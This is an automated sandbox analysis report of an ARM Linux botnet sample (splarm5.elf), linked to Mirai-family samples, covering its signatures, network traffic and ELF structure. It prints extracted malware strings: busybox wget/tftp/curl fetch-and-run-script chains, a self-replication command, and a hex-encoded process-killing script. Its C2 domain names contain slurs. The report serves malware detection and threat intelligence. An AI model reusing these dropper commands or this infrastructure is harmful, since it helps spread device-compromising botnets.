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Linux Analysis Report
splarm5.elf

Overview

General Information

Sample name:	splarm5.elf
Analysis ID:	1543611
MD5:	5aa1a833e3984b9db1171e7923c5ec7f
SHA1:	f38a2192ff6bd53ee07e4e813a6d592aef40ab27
SHA256:	d9e9390af997a0c4e3ae235f3564621072bbabe2f427b2b7cc3f2fd1b5733ded
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543611
Start date and time:	2024-10-28 07:58:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splarm5.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/77@15/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: splarm5.elf

Runtime Messages

Command:	/tmp/splarm5.elf
PID:	5524
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splarm5.elf (PID: 5524, Parent: 5448, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/splarm5.elf

splarm5.elf New Fork (PID: 5526, Parent: 5524)

splarm5.elf New Fork (PID: 5528, Parent: 5526)

splarm5.elf New Fork (PID: 5530, Parent: 5526)

splarm5.elf New Fork (PID: 5531, Parent: 5526)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: splarm5.elf

ReversingLabs: Detection: 44%

Source: splarm5.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]

Source: global traffic	TCP traffic: 192.168.2.15:55540 -> 45.156.86.24:38241
Source: global traffic	TCP traffic: 192.168.2.15:42240 -> 45.156.86.26:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 22.236.68.158
Source: unknown	TCP traffic detected without corresponding DNS query: 178.12.3.31
Source: unknown	TCP traffic detected without corresponding DNS query: 22.236.68.158
Source: unknown	TCP traffic detected without corresponding DNS query: 48.158.181.171
Source: unknown	TCP traffic detected without corresponding DNS query: 178.12.3.31
Source: unknown	TCP traffic detected without corresponding DNS query: 167.142.100.78
Source: unknown	TCP traffic detected without corresponding DNS query: 48.158.181.171
Source: unknown	TCP traffic detected without corresponding DNS query: 186.207.15.81
Source: unknown	TCP traffic detected without corresponding DNS query: 167.142.100.78
Source: unknown	TCP traffic detected without corresponding DNS query: 32.84.135.83
Source: unknown	TCP traffic detected without corresponding DNS query: 186.207.15.81
Source: unknown	TCP traffic detected without corresponding DNS query: 167.142.100.78
Source: unknown	TCP traffic detected without corresponding DNS query: 32.84.135.83
Source: unknown	TCP traffic detected without corresponding DNS query: 129.4.28.110
Source: unknown	TCP traffic detected without corresponding DNS query: 186.207.15.81
Source: unknown	TCP traffic detected without corresponding DNS query: 199.181.222.78
Source: unknown	TCP traffic detected without corresponding DNS query: 129.4.28.110
Source: unknown	TCP traffic detected without corresponding DNS query: 22.244.200.117
Source: unknown	TCP traffic detected without corresponding DNS query: 32.84.135.83
Source: unknown	TCP traffic detected without corresponding DNS query: 199.181.222.78
Source: unknown	TCP traffic detected without corresponding DNS query: 151.19.6.33
Source: unknown	TCP traffic detected without corresponding DNS query: 22.244.200.117
Source: unknown	TCP traffic detected without corresponding DNS query: 215.94.1.137
Source: unknown	TCP traffic detected without corresponding DNS query: 199.181.222.78
Source: unknown	TCP traffic detected without corresponding DNS query: 151.19.6.33
Source: unknown	TCP traffic detected without corresponding DNS query: 22.244.200.117
Source: unknown	TCP traffic detected without corresponding DNS query: 13.112.255.72
Source: unknown	TCP traffic detected without corresponding DNS query: 215.94.1.137
Source: unknown	TCP traffic detected without corresponding DNS query: 151.19.6.33
Source: unknown	TCP traffic detected without corresponding DNS query: 43.249.92.50
Source: unknown	TCP traffic detected without corresponding DNS query: 13.112.255.72
Source: unknown	TCP traffic detected without corresponding DNS query: 215.94.1.137
Source: unknown	TCP traffic detected without corresponding DNS query: 35.161.16.125
Source: unknown	TCP traffic detected without corresponding DNS query: 43.249.92.50
Source: unknown	TCP traffic detected without corresponding DNS query: 13.112.255.72
Source: unknown	TCP traffic detected without corresponding DNS query: 22.44.38.214
Source: unknown	TCP traffic detected without corresponding DNS query: 35.161.16.125
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 22.44.38.214
Source: unknown	TCP traffic detected without corresponding DNS query: 43.249.92.50
Source: unknown	TCP traffic detected without corresponding DNS query: 65.226.96.244
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 65.226.96.244
Source: unknown	TCP traffic detected without corresponding DNS query: 133.113.126.37
Source: unknown	TCP traffic detected without corresponding DNS query: 22.44.38.214
Source: unknown	TCP traffic detected without corresponding DNS query: 133.113.126.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 65.226.96.244
Source: unknown	TCP traffic detected without corresponding DNS query: 67.52.75.222
Source: unknown	TCP traffic detected without corresponding DNS query: 202.100.241.228

Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre

Source: splarm5.elf	String found in binary or memory: http:///curl.sh
Source: splarm5.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5560/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5560/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5561/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5561/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5562/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5562/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5563/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5563/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5564/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5564/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5565/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5565/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5566/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5566/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5567/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5567/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5568/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5568/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5558/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5558/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5569/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5569/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5559/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5530)	File opened: /proc/5559/cmdline	Jump to behavior

Source: splarm5.elf, 5524.1.00007ffe7e657000.00007ffe7e678000.rw-.sdmp, splarm5.elf, 5528.1.00007ffe7e657000.00007ffe7e678000.rw-.sdmp	Binary or memory string: /LSx86_64/usr/bin/qemu-arm/tmp/splarm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm5.elf
Source: splarm5.elf, 5524.1.000056458fa14000.000056458fb42000.rw-.sdmp, splarm5.elf, 5528.1.000056458fa14000.000056458fb42000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: splarm5.elf, 5524.1.00007ffe7e657000.00007ffe7e678000.rw-.sdmp, splarm5.elf, 5528.1.00007ffe7e657000.00007ffe7e678000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: splarm5.elf, 5524.1.000056458fa14000.000056458fb42000.rw-.sdmp, splarm5.elf, 5528.1.000056458fa14000.000056458fb42000.rw-.sdmp	Binary or memory string: EV!/etc/qemu-binfmt/arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
burnthe.libre	45.156.86.24	true	true	unknown
burnthe.libre. [malformed]	unknown	unknown	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown
yellowchink.pirate. [malformed]	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
116.190.4.42	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
128.167.100.226	unknown	United States	1811	CSC-300-AS1810-AS1815US	false
102.176.129.147	unknown	Mauritius	6774	ASN-BICSBE	false
124.53.167.173	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
70.190.61.243	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
25.254.239.145	unknown	United Kingdom	199055	UKCLOUD-ASGB	false
79.234.239.63	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
178.151.160.59	unknown	Ukraine	13188	TRIOLANUA	false
153.176.152.195	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
129.44.72.45	unknown	United States	701	UUNETUS	false
158.40.97.105	unknown	Australia	17477	MCT-SYDNEYMacquarieTelecomAU	false
217.184.198.108	unknown	Germany	6805	TDDE-ASN1DE	false
199.182.201.227	unknown	United States	55246	EASTERN-OREGON-TELECOMM-LLCUS	false
75.78.202.117	unknown	United States	6498	INTRADO-CORPUS	false
119.175.221.170	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
19.178.187.249	unknown	United States	3	MIT-GATEWAYSUS	false
87.14.171.6	unknown	Italy	3269	ASN-IBSNAZIT	false
38.91.220.36	unknown	United States	174	COGENT-174US	false
126.172.117.27	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
46.206.120.229	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
44.42.93.152	unknown	United States	7377	UCSDUS	false
34.161.147.127	unknown	United States	2686	ATGS-MMD-ASUS	false
21.99.135.73	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
8.159.149.218	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
101.130.185.154	unknown	China	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
17.109.196.211	unknown	United States	714	APPLE-ENGINEERINGUS	false
54.153.219.21	unknown	United States	16509	AMAZON-02US	false
158.198.223.176	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
81.206.151.156	unknown	Netherlands	1136	KPNKPNNationalEU	false
77.27.244.3	unknown	Spain	12334	Galicia-SpainES	false
29.134.215.209	unknown	United States	7922	COMCAST-7922US	false
223.136.250.209	unknown	Taiwan; Republic of China (ROC)	17421	EMOME-NETMobileBusinessGroupTW	false
150.93.110.70	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
123.19.47.229	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
28.111.47.180	unknown	United States	7922	COMCAST-7922US	false
63.75.184.222	unknown	United States	701	UUNETUS	false
190.9.40.179	unknown	Panama	8100	ASN-QUADRANET-GLOBALUS	false
209.81.87.17	unknown	United States	6650	LOGICWORKS-ASUS	false
154.237.121.124	unknown	Egypt	36992	ETISALAT-MISREG	false
116.247.179.228	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
158.198.223.176	b3astmode.x86.elf	Get hash	malicious	Mirai	Browse
25.254.239.145	KKkeybkxRY.elf	Get hash	malicious	Mirai	Browse
8.159.149.218	PbuHBAK54f.elf	Get hash	malicious	Mirai	Browse
8.159.149.218	arm7	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CSC-300-AS1810-AS1815US	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	128.167.123.47
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	128.11.170.112
	NV7VTiMkEA.elf	Get hash	malicious	Mirai, Moobot	Browse	128.167.195.147
	GFw6joeIJl.elf	Get hash	malicious	Mirai	Browse	128.167.135.58
	7bPP8gHfVN.elf	Get hash	malicious	Mirai	Browse	128.167.123.43
	6NlqBnezcC.elf	Get hash	malicious	Mirai, Moobot	Browse	207.240.145.52
	YWbW92TAQw.elf	Get hash	malicious	Mirai	Browse	128.167.111.21
	Tt4pJQMhy8.elf	Get hash	malicious	Mirai	Browse	128.167.147.19
	CT9F7HK21Z.elf	Get hash	malicious	Mirai	Browse	128.167.123.43
	x86_64.elf	Get hash	malicious	Mirai	Browse	128.167.100.220
CNIX-APChinaNetworksInter-ExchangeCN	nabspc.elf	Get hash	malicious	Unknown	Browse	116.146.42.250
	jklx86.elf	Get hash	malicious	Unknown	Browse	211.152.238.64
	nklppc.elf	Get hash	malicious	Unknown	Browse	106.38.109.232
	bin.sh.elf	Get hash	malicious	Mirai	Browse	58.128.105.61
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	36.118.147.33
	nklm68k.elf	Get hash	malicious	Unknown	Browse	58.131.200.190
	nabmips.elf	Get hash	malicious	Unknown	Browse	218.245.62.94
	nklppc.elf	Get hash	malicious	Unknown	Browse	117.113.15.200
	splarm7.elf	Get hash	malicious	Unknown	Browse	116.186.222.95
	nabx86.elf	Get hash	malicious	Unknown	Browse	1.203.97.191
POWERVIS-AS-KRLGPOWERCOMMKR	splx86.elf	Get hash	malicious	Unknown	Browse	112.145.67.97
	arm7.elf	Get hash	malicious	Unknown	Browse	125.182.254.184
	jklarm5.elf	Get hash	malicious	Unknown	Browse	119.65.100.111
	bin.sh.elf	Get hash	malicious	Mirai	Browse	182.230.168.5
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	182.227.223.120
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	122.42.23.140
	splmpsl.elf	Get hash	malicious	Unknown	Browse	112.154.112.37
	nabarm7.elf	Get hash	malicious	Unknown	Browse	182.211.155.234
	nklsh4.elf	Get hash	malicious	Unknown	Browse	112.157.34.220
	nabppc.elf	Get hash	malicious	Unknown	Browse	116.39.231.17
ASN-CXA-ALL-CCI-22773-RDCUS	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	24.248.153.41
	splx86.elf	Get hash	malicious	Unknown	Browse	164.172.75.118
	nklx86.elf	Get hash	malicious	Unknown	Browse	70.174.188.147
	nklmips.elf	Get hash	malicious	Unknown	Browse	68.227.104.150
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	164.170.253.247
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	98.167.148.76
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	98.185.21.240
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	72.200.143.7
	splmpsl.elf	Get hash	malicious	Unknown	Browse	174.64.187.221
	nklsh4.elf	Get hash	malicious	Unknown	Browse	184.178.190.89

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splarm5.elf	false		unknown
http:///curl.sh	splarm5.elf	false		unknown

Process:	/tmp/splarm5.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	3.1239753048484125
Encrypted:	false
SSDEEP:	6:ZDF0/VWDFfXNl/Vtj/VjmsVot/VOArB/VH:Zllbil
MD5:	EDFA7A80AE3A8B80B8101B32B436E0F8
SHA1:	4B14F79334D8A795DED998AFC87ABDB2851D2098
SHA-256:	963A1DEFC003F6AB384A20060D74B250456393D0CEC0FF361AFB236CB6E47C04
SHA-512:	BF54CA25D9E29BAD3F70C4BC05C87F8DE9FB3493CDCEBB5DB9887C81DA2740A478A4B3928B3757ACA4EDCF8F8E59B0D01F04516B7B050A6E1740CF7284538C89
Malicious:	false
Reputation:	low
Preview:	8000-18000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-22000 rw-p 00000000 00:00 0 .22000-23000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.062655083768178
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splarm5.elf
File size:	62'772 bytes
MD5:	5aa1a833e3984b9db1171e7923c5ec7f
SHA1:	f38a2192ff6bd53ee07e4e813a6d592aef40ab27
SHA256:	d9e9390af997a0c4e3ae235f3564621072bbabe2f427b2b7cc3f2fd1b5733ded
SHA512:	b6a125bca33d67b99d900c830817124a1f9fc211ae8c52981bbf59c9bc0e2c6f71bb8009c7258e81e993a232343822390589ba69ca790a7ed0ccad90115614e4
SSDEEP:	1536:8PhhkXRCtwqb5ccGCkVUfnk6osn0qnI8sRf:8PhhkyGIfrf0qnIR
TLSH:	68531986B891DA26C5D462BBFA1E42CD332123F8D2DF7207DD116F157B8A82F0D6B641
File Content Preview:	.ELF...a..........(.........4...\|.......4. ...(.....................................................................Q.td..................................-...L."....8..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62332
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xe070	0x0	0x6	AX	16
.fini	PROGBITS	0x16120	0xe120	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x16134	0xe134	0x1080	0x0	0x2	A	4
.ctors	PROGBITS	0x1f1b8	0xf1b8	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f1c0	0xf1c0	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f1c8	0xf1c8	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f1cc	0xf1cc	0x16c	0x0	0x3	WA	4
.bss	NOBITS	0x1f338	0xf338	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf338	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xf1b4	0xf1b4	6.0941	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf1b8	0x1f1b8	0x1f1b8	0x180	0x1318	0.8499	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 07:59:10.309206963 CET	192.168.2.15	51.158.108.203	0x2362	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:11.350451946 CET	192.168.2.15	51.158.108.203	0x6154	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:12.387614012 CET	192.168.2.15	194.36.144.87	0x24	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:23.772659063 CET	192.168.2.15	202.61.197.122	0x5d18	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:35.625025034 CET	192.168.2.15	202.61.197.122	0x97d6	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:47.463079929 CET	192.168.2.15	202.61.197.122	0x2911	Standard query (0)	burnthe.libre. [malformed]	256	355	false
Oct 28, 2024 07:59:48.637782097 CET	192.168.2.15	202.61.197.122	0xf97a	Standard query (0)	yellowchink.pirate. [malformed]	256	356	false
Oct 28, 2024 08:00:00.486262083 CET	192.168.2.15	194.36.144.87	0xe431	Standard query (0)	burnthe.libre. [malformed]	256	368	false
Oct 28, 2024 08:00:13.360090017 CET	192.168.2.15	81.169.136.222	0x413b	Standard query (0)	netfags.geek. [malformed]	256	381	false
Oct 28, 2024 08:00:25.279005051 CET	192.168.2.15	81.169.136.222	0xd5fc	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:00:36.676626921 CET	192.168.2.15	185.181.61.24	0x6f5d	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:00:38.447985888 CET	192.168.2.15	51.158.108.203	0xa891	Standard query (0)	netfags.geek. [malformed]	256	406	false
Oct 28, 2024 08:00:39.480225086 CET	192.168.2.15	51.158.108.203	0xc10f	Standard query (0)	yellowchink.pirate. [malformed]	256	407	false
Oct 28, 2024 08:00:51.335366964 CET	192.168.2.15	168.235.111.72	0x7c90	Standard query (0)	yellowchink.pirate. [malformed]	256	419	false
Oct 28, 2024 08:01:03.267021894 CET	192.168.2.15	152.53.15.127	0xfcb4	Standard query (0)	yellowchink.pirate. [malformed]	256	431	false

